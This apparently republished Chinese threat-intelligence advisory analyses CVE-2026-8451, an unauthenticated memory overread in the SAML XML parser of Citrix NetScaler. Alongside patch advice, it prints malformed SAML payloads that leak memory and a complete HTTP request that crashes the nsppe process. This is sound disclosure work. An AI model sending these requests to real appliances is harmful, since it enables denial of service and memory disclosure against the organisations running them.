文章总结: CitrixNetScaler近日披露高危0day漏洞CVE-2026-8451,CVSS评分8.8。该漏洞源于设备自研XML解析器在处理SAMLAuthnRequest时存在输入验证不足与边界检查缺失,导致内存越界读取。攻击者无需认证即可通过构造特制SAML请求触发该漏洞,造成包含进程指针等敏感信息的内存泄露或导致服务拒绝。该漏洞可被用作内存地址泄露原语,配合其他漏洞可能实现完整接管。建议受影响企业立即将NetScalerADC或Gateway升级至安全版本,若不使用SAMLIDP功能则直接禁用,并排查相关日志。 综合评分: 93 文章分类: 漏洞分析,漏洞预警,威胁情报,解决方案
Citrix NetScaler再曝8.8分0day,XML解析器成内鬼
原创
威胁情报中心 威胁情报中心
奇安信威胁情报中心
2026年7月1日 19:00 四川
在小说阅读器读本章
去阅读
引言:没完没了的”出血”
如果你对 Citrix NetScaler 这个名字还有印象,那你一定记得 “CitrixBleed”——这个原本指代单个漏洞的名称,如今已经演变成一整个漏洞家族的代名词。CVE-2023-4966、CVE-2025-5777、CVE-2025-12101、CVE-2026-3055……内存披露类漏洞在 NetScaler 设备上反复出现,似乎已经成了”传统”。
2026年3月,watchTowr 在分析 CVE-2026-3055 补丁时,又一次意外发现了新的内存越界读取问题。Citrix 于6月30日正式披露并修复了这个零日漏洞——CVE-2026-8451,CVSS 评分 8.8。
这一次,watchTowr 给它起了个恰如其分的名字:”CitrixBleed To Infinity And Beyond”。
漏洞背景:谁受影响?
CVE-2026-8451 被 Citrix 描述为”输入验证不足导致的内存越界读取”。与此前几个 CitrixBleed 漏洞类似,该漏洞的利用有一个前提条件:NetScaler 设备必须配置为 SAML IDP(身份提供者)。
受影响版本:
| 产品 | 受影响版本 | | — | — | | NetScaler ADC / Gateway 14.1 | 低于 14.1-72.61 | | NetScaler ADC / Gateway 13.1 | 低于 13.1-63.18 | | NetScaler ADC FIPS 14.1 | 低于 14.1-72.61 FIPS | | NetScaler ADC FIPS / NDcPP 13.1 | 低于 13.1-37.272 |
#
漏洞分析:XML 解析器的”老毛病”
攻击入口:/saml/login
当 NetScaler 作为 SAML IdP 时,/saml/login 端点负责接收客户端提交的 base64 编码 SAML AuthnRequest。这个 XML 文档中包含 issuer、destination、AssertionConsumerServiceURL 等关键属性。
问题出在 NetScaler 自研的 XML 属性解析器上。以下是其解析 foo="bar" 这类属性的核心代码逻辑:
cursor = <字符串输入>// 查找属性值的起始位置for (lookahead = ...; ; lookahead++) { ch = *cursor; if (ch > '=') break; if (ch == '=') { // 找到等号,继续查找值起始 cursor = lookahead; break; } cursor++;}
// 判断引号类型(单引号/双引号/无引号)if (ch == '\'' || ch == '"') { terminator = ch; // 有引号:以匹配引号终止 first = *++cursor;} else { terminator = ' '; // 无引号:以空格终止(实际上不是) first = ch;}
// 扫描属性值scanPos = cursor;while (first != '\0' && first != '>') { scanPos++; first = *scanPos; if (first == terminator) break;}
out->value_ptr = cursor; // 值起始指针out->value_len = scanPos - cursor; // 值长度
关键缺陷:换行符处理不一致
上述代码存在两个致命问题:
第一,无引号属性值的终止条件异常。
对于有引号的属性值(如 ID="abc"),解析器以匹配引号终止;但对于无引号的属性值,终止条件变成了空字节(\0)或右尖括号(>)——换行符、制表符等空白字符不会被识别为终止符。
这意味着,如果构造这样的请求:
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22>
解析器会将 AssertionConsumerServiceURL 的值读成 11\nid=22,而不是正确的 11。
第二,缺乏边界检查。
代码中没有对输入长度进行任何校验。当属性值没有被正确终止时,解析器会持续向后读取,越界访问请求缓冲区之外的内存。
#
漏洞利用:从越界读取到内存泄露
第一步:确认越界行为
发送一个换行符终止的无引号属性值,观察日志:
AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, ...
可以看到 acs(AssertionConsumerServiceURL)的值被错误地解析为 11 id=22,证明换行符未被识别为终止符。
第二步:进一步”打开缺口”
NetScaler 的解析器还有一个”特性”:它对元素嵌套检查非常宽松。例如,下面这段结构完全错误的 XML 也能被接受:
<samlp:AuthnRequest<saml2:issuer>watchtowr</saml2:issuer></samlp:AuthnRequest>Version="2.0"id="11"AssertionConsumerServiceURL=
注意到最后一行的 AssertionConsumerServiceURL= 后面什么都没有——没有值,没有终止符。此时解析器会继续向后读取,越过请求缓冲区的边界,读取相邻内存中的任意数据。
第三步:获取泄露的内存
NetScaler 会将解析出的属性值嵌入到返回的 NSC_TASS Cookie 中:
NSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD3wDZDvvq3ePSIyLjAiCmlkPSIxMSIKQXNzZXJ0aW9...
解码后,可以看到泄露的内存内容:
00000000 61 73 64 66 00 49 44 3d 26 62 69 6e 64 3d 70 6f |asdf.ID=&bind=po|00000010 73 74 26 41 43 53 55 52 4c 3d f0 0d 90 de de de |st&ACSURL=......|00000020 de de de de de de de de de de de de de de de de |................|...00000050 0c a1 35 00 |..5.|
泄露的数据中包含了堆内存填充模式(0xdeadbeef)以及疑似有效进程指针(0x00350ca1)。这意味着该漏洞不仅是一个信息泄露,还可以作为内存地址泄露原语(infoleak primitive),配合其他内存破坏漏洞实现完整设备接管。
拒绝服务:最简单的利用方式
如果目标只是证明漏洞影响,甚至不需要复杂的构造——以下请求即可可靠地使 nsppe 进程崩溃:
POST /saml/login HTTP/1.1Host: <target>Content-Length: 46
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D
影响评估
| 维度 | 说明 |
| — | — |
| 利用前提 | 需 NetScaler 配置为 SAML IDP |
| 攻击向量 | 无需认证,向 /saml/login 发送恶意 SAMLRequest |
| 信息泄露 | 可读取进程内存,可能包含指针、敏感配置等 |
| 可用性影响 | 可触发服务崩溃(拒绝服务) |
| 完整利用 | 可作为 infoleak 原语,配合其他漏洞实现 RCE |
#
修复建议
- 立即升级至安全版本:
- 14.1 → 升级至 14.1-72.61 或更高
- 13.1 → 升级至 13.1-63.18 或更高
- 临时缓解:如设备无需 SAML IDP 功能,禁用该配置。
- 检测与排查:检查
/var/log/ns.log中是否存在异常的 SAML 解析日志,确认是否已被利用。
#
披露时间线
| 时间 | 事件 | | — | — | | 2026-03-28 | watchTowr 发现漏洞,通知 Citrix 及受影响客户 | | 2026-04-30 | watchTowr 请求更新 | | 2026-05-07 | Citrix 确认修复开发中 | | 2026-06-14 | Citrix 预计 6 月 29 日发布补丁 | | 2026-06-30 | Citrix 正式发布安全公告与补丁 | | 2026-06-30 | watchTowr 发布技术分析 |
#
结语
CitrixBleed 系列漏洞反复出现的核心原因,是 NetScaler 设备中内存管理实现持续脆弱——一个自研的 XML 解析器,在缺乏充分输入验证和边界检查的情况下,被部署在全球数以万计的关键网络入口处。
CVE-2026-8451 不是第一个,也很可能不是最后一个。对于运行 NetScaler 的企业而言,补丁管理不应只是被动的响应,而应当是持续的防御节奏。
参考链接
- https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:奇安信威胁情报中心 威胁情报中心 威胁情报中心《Citrix NetScaler再曝8.8分0day,XML解析器成内鬼》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论